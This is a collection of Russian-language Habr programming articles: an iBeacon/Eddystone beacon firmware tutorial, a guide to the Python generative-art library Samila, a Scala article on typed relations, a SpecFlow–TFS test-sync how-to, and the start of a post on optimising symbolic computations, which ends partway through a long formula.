Теперь запускаем на телефоне любое приложение, работающее с маяками (например, [iBeacon & Eddystone Scanner](https://play.google.com/store/apps/details?id=de.flurp.beaconscanner.app) для Android) и мы должны увидеть нашу метку.
Немного разберемся с форматом передаваемых данных. А он, по старой традиции Apple, очень прост. Маяк из полезной нагрузки передает следующие данные:
**UUID.** 128-битный уникальный идентификатор группы маяков, определяющий их тип или принадлежность одной организации
**Major.** 16-битное беззнаковое значение, с помощью которого можно группировать маяки с одинаковым UUID
**Minor.** 16-битное беззнаковое значение, с помощью которого можно группировать маяки с одинаковым UUID и Major
**Measured Power (уровень сигнала в 1 м от передатчика).** 8-битное знаковое целое — значение индикации уровня принимаемого сигнала (RSSI), откалиброванное на расстоянии 1 м от приёмника, которое используется для определения близостимаяка к приёмнику (мобильному устройству). Измеряется в dBm.
В основном файле **simple\_btlc1000.c** определен массив **adv\_data**, в который и помещаются эти данные. Помимо этого, есть дополнительная служебная информация, расшифровку которой можно найти в документе **Proximity Beacon
Specification** на странице [developer.apple.com/ibeacon](https://developer.apple.com/ibeacon/).
```
static uint8_t adv_data[] =
{
0x1a, 0xff,
0x4c, 0x00, // Company ID
0x02, 0x15, // Beacon Type
// Proximity UUID
0x21, 0x8A, 0xF6, 0x52, 0x73, 0xE3, 0x40, 0xB3, 0xB4, 0x1C, 0x19, 0x53, 0x24, 0x2C, 0x72, 0xf4,
0x00, 0xbb, // Major
0x00, 0x45, // Minor
0xc5 // Measured Power
};
```
Основное волшебство происходит в функции **beacon\_init()**, которая вызывается непосредственно перед главным циклом в main. В ней, используя API-функцию **at\_ble\_adv\_data\_set** мы сообщаем модулю какие именно данные мы хотим передавать (тот самый массив **adv\_data**), а далее используя функцию at\_ble\_adv\_start запускаем сам процесс передачи с указанием частоты их передачи (BEACON\_ADV\_INTERVAL).
**Код функции beacon\_init()**
```
static void beacon_init(void)
{
static at_ble_handle_t service;
/* establish peripheral database */
if (at_ble_primary_service_define(&service_uuid, &service, NULL, 0, chars, 2) != AT_BLE_SUCCESS)
DBG_LOG("Failed to define the primary service");
/* set beacon advertisement data */
if(at_ble_adv_data_set(adv_data, sizeof(adv_data), scan_rsp_data, sizeof(scan_rsp_data)) != AT_BLE_SUCCESS)
DBG_LOG("BLE Beacon advertisement data set failed");
/* BLE start advertisement */
if(at_ble_adv_start(AT_BLE_ADV_TYPE_UNDIRECTED, AT_BLE_ADV_GEN_DISCOVERABLE, NULL, AT_BLE_ADV_FP_ANY,
BEACON_ADV_INTERVAL, BEACON_ADV_TIMEOUT, BEACON_ABSOLUTE_INTERVAL_ADV) != AT_BLE_SUCCESS)
{
DBG_LOG("BLE Beacon advertisement failed");
ble_device_disconnected_ind();
}
else
{
DBG_LOG("Advertisement started");
ble_device_connected_ind();
}
}
```
#### Переделываем проект под маяки Eddystone от Google
Для этого требуется сделать всего одну вещь — изменить передаваемый массив данных в функцию **at\_ble\_adv\_data\_set**. Заведем отдельный массив и заполним его. Про формат пакета можно прочитать [тут](https://github.com/google/eddystone/blob/master/protocol-specification.md). В отличии от iBeacon, Eddystone на данный момент может передавать 3 типа пакетов. Идентификатор типа передается в одном из байтов посылки:
Мы будем передавать ссылку.
Формат записи самой ссылки можно подсмотреть на [этой](https://github.com/google/eddystone/tree/master/eddystone-url) странице.
**Формат передачи ссылки****URL Scheme Prefix**
**Eddystone-URL HTTP URL encoding**
*Примечание: домена .ru в списке поддерживаемых нет. Мне очень хотелось, чтобы ссылка была живая, поэтому я напишу geektimes.com, т.к. с него есть редирект на geektimes.ru, а вот habrahabr.com аналогичным образом в домен .ru не перенаправляется.*
В итоге получаем следующий пакет для Eddystone:
```
static uint8_t eddystone_data[] =
{
0x03,
0x03,
0xaa, 0xfe,
0x10, // длина
0x16,
0xaa, 0xfe, // 16-bit Eddystone UUID
0x10, // Frame Type: 0x10 для URL
0xf0, // TX Power
0x00, // URL Scheme: http://www.
'g', 'e', 'e', 'k', 't', 'i', 'm', 'e', 's',
0x00, // .com/
};
```
Не забываем указать в API новый пакет:
```
at_ble_adv_data_set(eddystone_data, sizeof(eddystone_data), scan_rsp_data, sizeof(scan_rsp_data)) != AT_BLE_SUCCESS)
```
Компилим, заливаем, смотрим результат.
На этом всё, до новых встреч. Теперь уже на просторах хабра. | https://habr.com/ru/post/273865/ | null | ru | null |
# Python и Samila. Делаем красиво
 Содержание:
* Введение
* Установка | Запуск без установки
* Работа с библиотекой Samila
* Полезные ссылки
### Введение
[Samila](https://github.com/sepandhaghighi/samila) - библиотека для создания генеративного искусства, написанная на языке программирования Python. В данный момент Samila позволяет создавать только статичные изображения. По заверению разработчиков, возможность анимации появится в ближайшее время.
В основе механизма генерации изображений библиотеки Samila лежит идея о преобразовании пространства квадратной формы, из Декартовой системы координат, в любую иную систему, например, такую как Полярная система координат. Samila позволяет создавать изображения, основанные на тысячах точек. Положение каждой отдельной точки рассчитывается по формуле со случайными параметрами. Из-за случайных чисел каждое изображение выглядит по-разному.
### Установка | Запуск без установки
Для работы Samila необходима версия Python не ниже 3.5.
Установка библиотеки:
```
pip install samila
```
Запуск без установки:
Поработать с библиотекой можно и без установки на локальный компьютер. Например, в Google Colab. Я накидал несколько примеров, вот по [этой](https://colab.research.google.com/drive/1jWOlk001JPHLLsSxXpndftZlZSg38OC-?usp=sharing) ссылке. При желании можно скопировать себе(кнопка "Copy to Drive", если вы залогинены под своим Google аккаунтом).
### Работа с библиотекой Samila
Быстрый старт. Генерация случайного изображения без каких-либо входных данных:
```
import matplotlib.pyplot as plt
from samila import GenerativeImage
g = GenerativeImage()
g.generate()
g.plot()
plt.show()
```
 С сохранением в PNG:
```
from samila import GenerativeImage
g = GenerativeImage()
g.generate()
g.plot()
g.save_image(file_adr="test.png")
```
Если нужно сгенерировать заданное количество случайных изображений, чтобы было из чего выбрать:
```
from samila import GenerativeImage
for i in range(10):
g = GenerativeImage()
g.generate()
g.plot()
img_name = str(i+1) + "_test.png"
g.save_image(file_adr=img_name)
```
Основа для создания красивых изображений. Добавляем условий:
```
import matplotlib.pyplot as plt
from samila import GenerativeImage
import random
import math
def f1(x, y):
result = random.uniform(-1,1) * x**2 - math.sin(y**2) + abs(y-x)
return result
def f2(x, y):
result = random.uniform(-1,1) * y**3 - math.cos(x**2) + 2*x
return result
g = GenerativeImage(f1, f2)
g.generate()
g.plot()
plt.show()
```
 Проекция:
```
import matplotlib.pyplot as plt
from samila import GenerativeImage
import random
import math
from samila import Projection
def f1(x, y):
result = random.uniform(-1,1) * x**2 - math.sin(y**2) + abs(y-x)
return result
def f2(x, y):
result = random.uniform(-1,1) * y**3 - math.cos(x**2) + 2*x
return result
g = GenerativeImage(f1, f2)
g.generate()
g.plot(projection=Projection.POLAR)
plt.show()
```
 По умолчанию вид проекции(projection): RECTILINEAR
Поддерживаемые виды проекций: RECTILINEAR, POLAR, AITOFF, HAMMER, LAMBERT и MOLLWEIDE:
 Диапазон:
```
import matplotlib.pyplot as plt
from samila import GenerativeImage
import random
import math
from samila import Projection
def f1(x, y):
result = random.uniform(-1,1) * x**2 - math.sin(y**2) + abs(y-x)
return result
def f2(x, y):
result = random.uniform(-1,1) * y**3 - math.cos(x**2) + 2*x
return result
g = GenerativeImage(f1, f2)
g.generate(start=-2*math.pi, step=0.01, stop=0)
g.plot()
plt.show()
```
 Цвет:
```
import matplotlib.pyplot as plt
from samila import GenerativeImage
import random
import math
from samila import Projection
def f1(x, y):
result = random.uniform(-1,1) * x**2 - math.sin(y**2) + abs(y-x)
return result
def f2(x, y):
result = random.uniform(-1,1) * y**3 - math.cos(x**2) + 2*x
return result
g = GenerativeImage(f1, f2)
g.generate()
g.plot(color="yellow", bgcolor="black", projection=Projection.POLAR)
plt.show()
```
Регенерация(параметр seed):
```
import matplotlib.pyplot as plt
from samila import GenerativeImage
import random
import math
from samila import Projection
def f1(x, y):
result = random.gauss(0, 1) * math.sin(y)+ (x + y) * random.uniform(-1, 1)
return result
def f2(x, y):
result = random.uniform(-1, 1) * y * x + math.cos(x ** 2) + random.gauss(0, 1)
return result
g = GenerativeImage(f1, f2)
g.generate(seed=300)
g.plot(color="red", bgcolor="black", projection=Projection.POLAR)
plt.show()
```
 Помимо всего вышеперечисленного, Samila также умеет:
* Сохранять данные о полученных изображениях в формате JSON
* Воспроизводить изображения на основе ранее сохранённых данных
* Сохранять изображения в более высоком разрешении
* Загружать изображения напрямую в NFT.storage
### Полезные ссылки
* [Samila Github](https://github.com/sepandhaghighi/samila)
* [Samila PyPI](https://pypi.org/project/samila/)
* [Samila Discord Server](https://discord.com/invite/94bz5QGZWb)
* Google Colab с [примерами](https://colab.research.google.com/drive/1jWOlk001JPHLLsSxXpndftZlZSg38OC-?usp=sharing) | https://habr.com/ru/post/648955/ | null | ru | null |
# Строго типизированное представление неполных данных
В предыдущей статье [«Конструирование типов»](http://habrahabr.ru/post/222553/) была описана идея, как можно сконструировать типы, похожие на классы. Это даёт возможность отделить хранимые данные от метаинформации и сделать акцент на представлении самих свойств сущностей. Однако описанный подход оказывается довольно сложным из-за использования типа HList. В ходе развития этого подхода пришло понимание, что для многих практических задач линейная упорядоченная последовательность свойств, как и полнота набора свойств, не является обязательной. Если ослабить это требование, то конструируемые типы значительно упрощаются и становятся весьма удобны для использования.
В обновлённом варианте библиотеки [synapse-frames](https://github.com/Primetalk/SynapseGrid/blob/master/docs/Frames.RU.md) исключительно просто описываются иерархические структуры данных и представляются любые подмножества таких структур.
Двусторонне-типизированные отношения
------------------------------------
Свойство объекта обычно рассматривают в привязке к самому объекту и в таком случае свойство имеет тип данных. Один тип — только для ограничения данных, которые могут в свойстве содержаться. Логичным поэтому выглядело представить свойство как `Slot[T]`. Однако свойство также привязано к типу объекта, в котором это свойство объявлено, хотя и не очень явным способом. В вышеупомянутой статье для установления такой связи конструировался новый суррогатный тип из набора свойств.
Если же выразить отношение к типу контейнера непосредственно в типе самого свойства, то это позволяет избежать создания суррогатного типа и пользоваться гораздо более удобными средствами. Итак, представим свойство как двустороннее отношение между двумя типами:
```
sealed trait Relation[-L,R]
case class Rel[-L, R](name: String) extends Relation[L, R]
```
(значок -L означает «контравариантность», т.е. свойство будет доступно и у потомков типа L. А тип R объявлен инвариантным, т.к. для свойства мы планируем использовать и getter'ы и setter'ы)
Класс Rel позволяет нам описать атрибуты, доступные у типа L. Например,
```
class Box
val width = Rel[Box, Int]("width")
val height = Rel[Box, Int]("height")
```
(эти же свойства будут доступны у потомков типа Box).
Кроме просто имени, к свойству можно привязать любую метаинформацию, которая требуется приложению — домен базы данных, текстовое описание свойства, сериализатор/десериализатор, ограничение на размер хранимых данных, ширину колонки в таблице, формат отображения (для дат) и т.д. Метаинформацию, в случае необходимости, можно привязать и внешним связыванием с помощью map'а.
Для типа L нам надо иметь какой-то реальный тип. В предыдущем варианте мы этот тип конструировали как HList над входящими в этот тип свойствами. Здесь же в качестве типа L можно использовать произвольный тип, доступный в Scala. Например, любой примитивный тип, или любой type alias, можно использовать trait'ы, abstract и final классы, object.type'ы. Благодаря контравариантности L мы можем использовать отношение наследования между типами, которые используем в качестве носителей свойств. По-видимому, удобно отразить отношение наследования в виде набора abstract class'ов, trait'ов и final class'ов в соответствии с логикой предметной области.
```
abstract class Shape
trait BoundingRectangle
final class Rectangle extends Shape with BoundingRectangle
final class Circle extends Shape with BoundingRectangle
val width = Rel[BoundingRectangle, Int]("width")
val height = Rel[BoundingRectangle, Int]("height")
val radius = Rel[Circle, Int]("radius")
```
Отдельный атрибут можно рассматривать как один компонент, позволяющий переходить от родительского объекта к дочернему. Если дочерний имеет свои атрибуты, то можно осуществить навигацию по любому из них. Пара таких атрибутов может быть объединена в путь от «дедушки» к «внуку» и будет получено новое отношение (Rel2(attr1, attr2)).
```
case class Rel2[-L, M, R](_1: Relation[L, M], _2: Relation[M, R])
extends Relation[L, R]
```
В DSL добавлен метод `/`, конструирующий Rel2, тем самым осуществляя композицию отношений.
Также хотелось бы отметить, что такие отношения являются неотъемлемой частью троек, составляющих основу онтологий RDF/OWL. А именно, отношения представляют собой средний компонент тройки:
(идентификатор объекта типа L, идентификатор свойства Relation[L,R], идентификатор значения свойства типа R).
Строго типизированные идентификаторы
------------------------------------
При использовании неполного описания объекта через набор атрибутов, весьма важным оказывается вопрос сопоставления разных наборов атрибутов с одним и тем же экземпляром. Необходимо каким-либо образом отразить свойство *аутентичности* экземпляра самому себе. В ООП для этой цели может использоваться факт принадлежности значений атрибутов одному и тому же объекту. В БД обычно используется какой-либо способ идентификации. Равенство идентификаторов объектов позволяет вывести аутентичность рассматриваемых объектов.
Мы также можем использовать идентификаторы для того, чтобы соотносить наборы атрибутов с одним экземпляром. Поскольку атрибуты в нашем случае связаны с типом объекта, то и идентификатор должен быть связан с тем же типом. Это позволит на этапе компиляции проверять согласованность типов идентифицируемого объекта и приписываемых атрибутов.
В простейшем случае мы могли бы использовать такой тип идентификатора:
```
trait Id[T]
```
Однако, такой способ идентификации оказывается не универсальным. Во-первых, многие объекты идентифицируются только в пределах родительских объектов; во-вторых, многие типы объектов могут иметь сразу несколько способов идентификации. Для отражения первого явления мы можем использовать описанный выше тип Rel[-L,R], рассматривая его уже как способ перехода от родительского объекта к конкретному экземпляру дочернего объекта. Если вспомнить, что дочерние объекты зачастую объединяются в типизированные коллекции, то идентификатор дочернего объекта оказывается составным — вначале выбирается коллекция, а затем по целочисленному индексу выбирается элемент этой коллекции:
```
val children = Rel[Parent, Seq[Children]]("children")
case class IntId[T](id: Int) extends Relation[Seq[T], T]
val child123 = children / IntId(123)
```
(здесь используется DSL-метод `/`, объединяющий два отношения в одно (композиция отношений)).
Такой способ идентификации позволяет однозначно перейти от родительского объекта к требуемому дочернему элементу. Что делать, если мы хотим воспользоваться альтернативным способом идентификации? Например, мы знаем, что некоторое свойство дочернего объекта обладает свойством уникальности в пределах родительского объекта, и, следовательно, может использоваться для выбора дочернего объекта. В таком случае мы можем воспользоваться идентификацией через индекс:
```
trait IndexedCollection[TId, T]
case class Index[TId, T](keyProperty: Relation[T, TId])
extends Relation[Seq[T],IndexedCollection[TId, T]]
case class IndexValue[TId, T](value:TId)
extends Relation[IndexedCollection[TId, T], T]
```
Например:
```
val name = Rel[Child, String]("name")
val childByName = name.index
val childVasya = parent / children / childByName / IndexValue("Vasya")
```
Таким образом, тип Rel[-L, R], расширенный порядковым номером в коллекции и индексом по свойству дочернего объекта, позволяет осуществлять навигацию в иерархической структуре данных.
Чтобы идентифицировать объекты, находящиеся на самом верхнем уровне и не имеющие родительского объекта, можно ввести специальный тип Global, который будет содержать все коллекции высокоуровневых объектов:
```
final class Global
val persons = Rel[Global, Seq[Person]]("persons")
val otherTopLevelObjects =
Rel[Global, Seq[OtherTopLevelObject]]("otherTopLevelObjects")
```
Схема данных
------------
Отношения сами по себе являются кирпичиками, позволяющими строить как сами структуры данных, так и схемы этих данных. Для описания схемы данных можно использовать реляционный подход — сущность-связь. В этом случае схема представляет собой коллекцию описаний сущностей и коллекцию описания связей между сущностями. Для сущностей указывается набор атрибутов, а для отношений — 1-0, 1-1, 1-\*, \*-\*
Также можно использовать объектно-ориентированный подход, описывающий сущность, свойства и коллекции дочерних объектов, для которых, в свою очередь, описываются свойства и коллекции.
Реляционная схема, понятное дело, прекрасно подходит для представления данных в БД, а объектно-ориентированная может использоваться для создания объектно-ориентированных сервисов (web-services?).
Для описания типа T в объектно-ориентированном варианте схемы используется один из потомков `Schema[T]`.
`SimpleSchema` — для простых типов, не содержащих атрибуты;
`RecordSchema` — составные типы, содержащие указанные атрибуты;
`CollectionSchema` — для типов Seq[T] позволяет привязать схему элементов коллекции.
Хранение данных
---------------
Метаинформация сама по себе не содержит данных. Для хранения необходимо использовать другие структуры. Такие структуры зависят от потребностей приложения:
* обычные классы с обычными свойствами, доступ к которым осуществлятся с помощью reflection'а по именам свойств;
* специальные классы для хранения данных, содержащие также и метаинформацию — наследники `Instance[T]` (`SimpleInstance, RecordInstance, CollectionInstance`). Эти типы упрощают работу с данными, описываемыми схемой, т.к. хранение данных напрямую соответствует схеме;
* линейный кортеж, «список списков» (`List[Any]`). Иерархическую структуру вложенных Record'ов можно разложить в линейную структуру — последовательность примитивных типов. Вложенные коллекции превращаются в списки-списков простейших типов. Такое представление может использоваться для передачи по сети и для взаимодействия с БД (т.к. кортеж прямо соответствует строке таблицы). Для конвертации Instance'ов в плоские списки и обратно используется пара операций align/unalign (flatten);
* таблицы БД, данные из которых извлекаются с помощью RecordSet'а;
* JSON-объекты;
* XML.
Конструирование данных
----------------------
При создании экземпляров данных наиболее важное ограничение, которое мы хотим проверять на этапе компиляции, заключается в том, чтобы свойства можно было указывать только для тех типов, для которых они объявлены (ради этого, в основном, в свойстве имеется generic-тип для левой стороны отношения). Из этого следует, что в процессе создания экземпляра данных, удовлетворяющего схеме, необходимо пользоваться специальным инструментарием. Например:
```
val b1 = empty[Box]
.set(width, simple(10))
.set(height, simple(20))
```
Здесь используется immutable тип `Instance[Box]`, в который добавляются пары — (свойство, значение). В случае, если данных немного, такой подход достаточен. Если требуется собирать много данных, то более эффктивно использовать mutable билдер, внутри которого постепенно формируется требуемый комплект атрибутов. По окончании сборки билдер преобразуется в `Instance[Box]`:
```
val boxBuilder = new Builder(boxSchema)
boxBuilder.set(width, simple(10))
boxBuilder.set(height, simple(20))
val b1 = boxBuilder.toInstance
```
Также билдер обеспечивает две runtime-проверки —
1. недопустимость использования свойств, не входящих в схему;
2. обеспечение полноты формируемого объекта.
Для представления данных в строках таблиц в БД необходимо преобразовать вложенные Record'ы в плоскую структуру. Для этого используется пара методов align/unalign.
Заключение
----------
Изложенный подход позволяет
* описывать сложные предметные области с явным сохранением метаинформации;
* оперировать свойствами строго типизированным образом (с проверкой типов на этапе компиляции);
* представлять произвольные иерархические структуры данных (наподобие json'а) с проверкой типов на всех уровнях;
* представлять неполные данные и проверять степень полноты (например, можно иметь `smallSchema[T]` и `fullSchema[T]`, с помощью которых проверять экземпляры данных).
В отличие от подхода, описанного в [предыдущей статье](http://habrahabr.ru/post/222553/), мы ослабляем требование обеспечения проверки полноты данных на этапе компиляции. Взамен получается гораздо более простой и удобный подход. Допустимость использования свойства на указанном типе проверяется компилятором без построения громоздких суррогатных типов на базе HList. В то же время, мы не скованы объектно-ориентированным подходом в плане представления данных и ограничения состава атрибутов сущности. | https://habr.com/ru/post/229035/ | null | ru | null |
# Удобный BDD: SpecFlow+TFS
В сети есть много статей о том как использовать SpecFlow, как настраивать TFS для запуска тестов, но нет ни одной которая содержала бы в себе все аспекты. В статье я расскажу, как можно сделать запуск и редактирование сценариев SpecFlow удобным для всех.
### Под катом вы узнаете как получить:
* Запуск тестов из TFS
* Автоматический линк сценариев к тесткейсам в TFS
* Всегда актуальное содержание тесткейсов в TFS
* Возможность редактировать сценарии прямо в системе контроля версий тестировщиками
### Предыстория
Перед нами встала задача автоматизировать тестирование приложения используя BDD подход. Так как основой системой таск-трекинга в нашей компании является TFS, в моей голове сложилась картина, где шаги сценария SpecFlow — это шаги тесткейсов в TFS, а запуск тестов осуществляется из тест-планов. Далее о том как я это реализовал.
### Что нам потребуется:
1. Проект с тестами на SpecFlow
2. Azure DevOps Server (aka Team Foundation Server)
3. Инструмент для синхронизации сценариев SpecFlow с тесткейсами в TFS
Настройка
---------
### 1. Создание сборки проекта с тестами
Здесь всё просто, сборка и публикация артефактов. О третьем таске подробнее дальше.
### 2. Создание релиза для запуска тестов
Создаём релиз с одним таском — Visual Studio Test
В данном случае таск настроен для запуска тестов вручную из тест плана
### 3. Синхронизация тесткейсов
Мы знаем, что Visual Studio позволяет линковать тестовые методы к тесткейсам в TFS и запускасть их из тест-планов. Для того чтобы не делать это вручную, а так же, для того чтобы синхронизировать содержание сценариев, я написал простое консольное приложение [FeatureSync](https://github.com/kharakhorin/FeatureSync). Принцип прост — парсим feature файл, и с помощью API TFS обновляем тесткейсы.
**Как использовать FeatureSync**
**Добавляем namespace и локаль в заголовок feature файла:**
```
#language:en
@Namespace:Application.Autotests
Feature: Log to application
```
\*namespace должен совпадать с названием .dll файла в котором содержаться тест-методы
**Создаём пустые тесткейсы в TFS и добавляем теги с их id к сценариям:**
```
@2124573 @posistive
Scenario: Successful authorization
Given I on authorization page
And I enter:
| Login | Password |
| user | pass |
When I press Login button
Then Browser redirect on Home page
```
**Запускаем FeatureSync:**
```
FeatureSync.exe -f C:\FolderWithFeatures -s https://tfs.server.com/collection -t 6ppjfdysk-your-tfs-token-2d7sjwfbj7rzba
```
В нашем случае запуск происходит после сборки проекта с тестами:
**Результат синхронизации**
Синхронизированы шаги SpecFlow сценария и проставлен статус Automation
### 4. Настройка тест-плана
Создаём тест-план, добавляем в него наши автоматизированные кейсы, в настройках выбираем сборку и релиз
### 5. Запуск тестов
Выбираем необходимый тест в тест-плане и запускаем.
### Заключение
Плюсы такого конфига:
* любой тестировщик может открыть fetaure файл в веб форме контроля версий, отредактировать его и изменения вступят в силу сразу же после сборки
* можно запускать тесты в любой момент по отдельности
* прозрачная тестовая модель — всегда знаем, что делает тест который мы запустили. | https://habr.com/ru/post/497730/ | null | ru | null |
# Профилирование и оптимизация символьных вычислений для будущего сервера
Привет, Хабр! Сегодня хочу поделиться своим небольшим опытом выбора инструментов для организации расчетов на будущем сервере. Отмечу сразу, что в этой публикации речь пойдет не о самом сервере, а скорее об оптимизации символьных вычислений на нем.
### Задача
Есть некий функционал, который позволяет пользователям формировать нередко громоздкие формулы следующего общего вида, по которым в дальнейшем необходимо рассчитывать запросы других пользователей.
**Типовая формула. Использовалась для профилирования**8.348841409877572e-11\*x1\_\*x2\_\*x3\_\*x4\_\*x5\_\*x6\_\*x7\_ — 3.480284409621004e-9\*x1\_\*x2\_\*x3\_\*x4\_\*x5\_\*x6\_ — 1.44049340858321e-9\*x1\_\*x2\_\*x3\_\*x4\_\*x5\_\*x7\_ + 6.004816835089577e-8\*x1\_\*x2\_\*x3\_\*x4\_\*x5\_ — 2.674192940005371e-9\*x1\_\*x2\_\*x3\_\*x4\_\*x6\_\*x7\_ + 1.1147596343241695e-7\*x1\_\*x2\_\*x3\_\*x4\_\*x6\_ + 4.614001865646533e-8\*x1\_\*x2\_\*x3\_\*x4\_\*x7\_ — 1.92338517189701e-6\*x1\_\*x2\_\*x3\_\*x4\_ — 3.980463071998064e-9\*x1\_\*x2\_\*x3\_\*x5\_\*x6\_\*x7\_ + 1.6592892295580475e-7\*x1\_\*x2\_\*x3\_\*x5\_\*x6\_ + 6.867815593308846e-8\*x1\_\*x2\_\*x3\_\*x5\_\*x7\_ — 2.862906227803913e-6\*x1\_\*x2\_\*x3\_\*x5\_ + 1.2749703798969891e-7\*x1\_\*x2\_\*x3\_\*x6\_\*x7\_ — 5.314820397426395e-6\*x1\_\*x2\_\*x3\_\*x6\_ — 2.199809760060692e-6\*x1\_\*x2\_\*x3\_\*x7\_ + 9.1700905110223e-5\*x1\_\*x2\_\*x3\_ — 1.846888532733293e-9\*x1\_\*x2\_\*x4\_\*x5\_\*x6\_\*x7\_ + 7.69890890657543e-8\*x1\_\*x2\_\*x4\_\*x5\_\*x6\_ + 3.1865865064706345e-8\*x1\_\*x2\_\*x4\_\*x5\_\*x7\_ — 1.3283551698311385e-6\*x1\_\*x2\_\*x4\_\*x5\_ + 5.915714175810938e-8\*x1\_\*x2\_\*x4\_\*x6\_\*x7\_ — 2.4660148079756056e-6\*x1\_\*x2\_\*x4\_\*x6\_ — 1.0206861262244266e-6\*x1\_\*x2\_\*x4\_\*x7\_ + 4.254815271209286e-5\*x1\_\*x2\_\*x4\_ + 8.80537876744858e-8\*x1\_\*x2\_\*x5\_\*x6\_\*x7\_ — 3.6705956013363683e-6\*x1\_\*x2\_\*x5\_\*x6\_ — 1.5192633852443432e-6\*x1\_\*x2\_\*x5\_\*x7\_ + 6.333176170880347e-5\*x1\_\*x2\_\*x5\_ — 2.820424906208041e-6\*x1\_\*x2\_\*x6\_\*x7\_ + 0.0001175717652455964\*x1\_\*x2\_\*x6\_ + 4.866307746134377e-5\*x1\_\*x2\_\*x7\_ — 0.002028560982722154\*x1\_\*x2\_ — 4.643965319933718e-9\*x1\_\*x3\_\*x4\_\*x5\_\*x6\_\*x7\_ + 1.9358756900289542e-7\*x1\_\*x3\_\*x4\_\*x5\_\*x6\_ + 8.012609870218512e-8\*x1\_\*x3\_\*x4\_\*x5\_\*x7\_ — 3.3401232720775553e-6\*x1\_\*x3\_\*x4\_\*x5\_ + 1.4874948386055242e-7\*x1\_\*x3\_\*x4\_\*x6\_\*x7\_ — 6.200746333919621e-6\*x1\_\*x3\_\*x4\_\*x6\_ — 2.5664954382120103e-6\*x1\_\*x3\_\*x4\_\*x7\_ + 0.00010698650352362546\*x1\_\*x3\_\*x4\_ + 2.2140953873789337e-7\*x1\_\*x3\_\*x5\_\*x6\_\*x7\_ — 9.229641340558273e-6\*x1\_\*x3\_\*x5\_\*x6\_ — 3.8201582714825905e-6\*x1\_\*x3\_\*x5\_\*x7\_ + 0.00015924648463737888\*x1\_\*x3\_\*x5\_ — 7.091903641665703e-6\*x1\_\*x3\_\*x6\_\*x7\_ + 0.00029563191995286495\*x1\_\*x3\_\*x6\_ + 0.00012236236302703984\*x1\_\*x3\_\*x7\_ — 0.005100777187540484\*x1\_\*x3\_ + 1.0273144909755949e-7\*x1\_\*x4\_\*x5\_\*x6\_\*x7\_ — 4.282446163036621e-6\*x1\_\*x4\_\*x5\_\*x6\_ — 1.7725089771387925e-6\*x1\_\*x4\_\*x5\_\*x7\_ + 7.388851548491282e-5\*x1\_\*x4\_\*x5\_ — 3.290560750768279e-6\*x1\_\*x4\_\*x6\_\*x7\_ + 0.0001371697701523112\*x1\_\*x4\_\*x6\_ + 5.6774712332795935e-5\*x1\_\*x4\_\*x7\_ — 0.0023667012497318313\*x1\_\*x4\_ — 4.897909687533869e-6\*x1\_\*x5\_\*x6\_\*x7\_ + 0.0002041734515648569\*x1\_\*x5\_\*x6\_ + 8.45076066374878e-5\*x1\_\*x5\_\*x7\_ — 0.0035227700858871253\*x1\_\*x5\_ + 0.00015688350080537115\*x1\_\*x6\_\*x7\_ — 0.006539819616205367\*x1\_\*x6\_ — 0.0027068382268636906\*x1\_\*x7\_ + 0.11283680975413288\*x1\_ — 1.4404933842970813e-9\*x2\_\*x3\_\*x4\_\*x5\_\*x6\_\*x7\_ + 6.004816833354854e-8\*x2\_\*x3\_\*x4\_\*x5\_\*x6\_ + 2.4854000114926666e-8\*x2\_\*x3\_\*x4\_\*x5\_\*x7\_ — 1.0360597302149638e-6\*x2\_\*x3\_\*x4\_\*x5\_ + 4.614001870156814e-8\*x2\_\*x3\_\*x4\_\*x6\_\*x7\_ — 1.923385171910888e-6\*x2\_\*x3\_\*x4\_\*x6\_ — 7.960911484056199e-7\*x2\_\*x3\_\*x4\_\*x7\_ + 3.3185723683902546e-5\*x2\_\*x3\_\*x4\_ + 6.867815595043569e-8\*x2\_\*x3\_\*x5\_\*x6\_\*x7\_ — 2.8629062278143214e-6\*x2\_\*x3\_\*x5\_\*x6\_ — 1.1849599028824348e-6\*x2\_\*x3\_\*x5\_\*x7\_ + 4.9396042143235244e-5\*x2\_\*x3\_\*x5\_ — 2.1998097600572225e-6\*x2\_\*x3\_\*x6\_\*x7\_ + 9.170090511020218e-5\*x2\_\*x3\_\*x6\_ + 3.795510120421959e-5\*x2\_\*x3\_\*x7\_ — 0.0015821900589679597\*x2\_\*x3\_ + 3.1865865045624386e-8\*x2\_\*x4\_\*x5\_\*x6\_\*x7\_ — 1.3283551698172608e-6\*x2\_\*x4\_\*x5\_\*x6\_ — 5.498076038248229e-7\*x2\_\*x4\_\*x5\_\*x7\_ + 2.2919188659665732e-5\*x2\_\*x4\_\*x5\_ — 1.0206861262122835e-6\*x2\_\*x4\_\*x6\_\*x7\_ + 4.254815271210674e-5\*x2\_\*x4\_\*x6\_ + 1.7610725219094348e-5\*x2\_\*x4\_\*x7\_ — 0.0007341177730757296\*x2\_\*x4\_ — 1.5192633852512821e-6\*x2\_\*x5\_\*x6\_\*x7\_ + 6.333176170880174e-5\*x2\_\*x5\_\*x6\_ + 2.6213082872067472e-5\*x2\_\*x5\_\*x7\_ — 0.0010927142286346146\*x2\_\*x5\_ + 4.8663077461354176e-5\*x2\_\*x6\_\*x7\_ — 0.002028560982722149\*x2\_\*x6\_ — 0.0008396235272224249\*x2\_\*x7\_ + 0.03500040721534296\*x2\_ + 8.012609870391985e-8\*x3\_\*x4\_\*x5\_\*x6\_\*x7\_ — 3.340123272067147e-6\*x3\_\*x4\_\*x5\_\*x6\_ — 1.38248054011407e-6\*x3\_\*x4\_\*x5\_\*x7\_ + 5.762985469397186e-5\*x3\_\*x4\_\*x5\_ — 2.566495438213745e-6\*x3\_\*x4\_\*x6\_\*x7\_ + 0.00010698650352363066\*x3\_\*x4\_\*x6\_ + 4.428182648625982e-5\*x3\_\*x4\_\*x7\_ — 0.00184592488062541\*x3\_\*x4\_ — 3.820158271480856e-6\*x3\_\*x5\_\*x6\_\*x7\_ + 0.00015924648463738755\*x3\_\*x5\_\*x6\_ + 6.591228770929172e-5\*x3\_\*x5\_\*x7\_ — 0.0027476087026188038\*x3\_\*x5\_ + 0.00012236236302704678\*x3\_\*x6\_\*x7\_ — 0.005100777187540465\*x3\_\*x6\_ — 0.0021112170500446024\*x3\_\*x7\_ + 0.08800784408220161\*x3\_ — 1.7725089771387925e-6\*x4\_\*x5\_\*x6\_\*x7\_ + 7.388851548491629e-5\*x4\_\*x5\_\*x6\_ + 3.058253437834488e-5\*x4\_\*x5\_\*x7\_ — 0.0012748584600295945\*x4\_\*x5\_ + 5.677471233278379e-5\*x4\_\*x6\_\*x7\_ — 0.002366701249731833\*x4\_\*x6\_ — 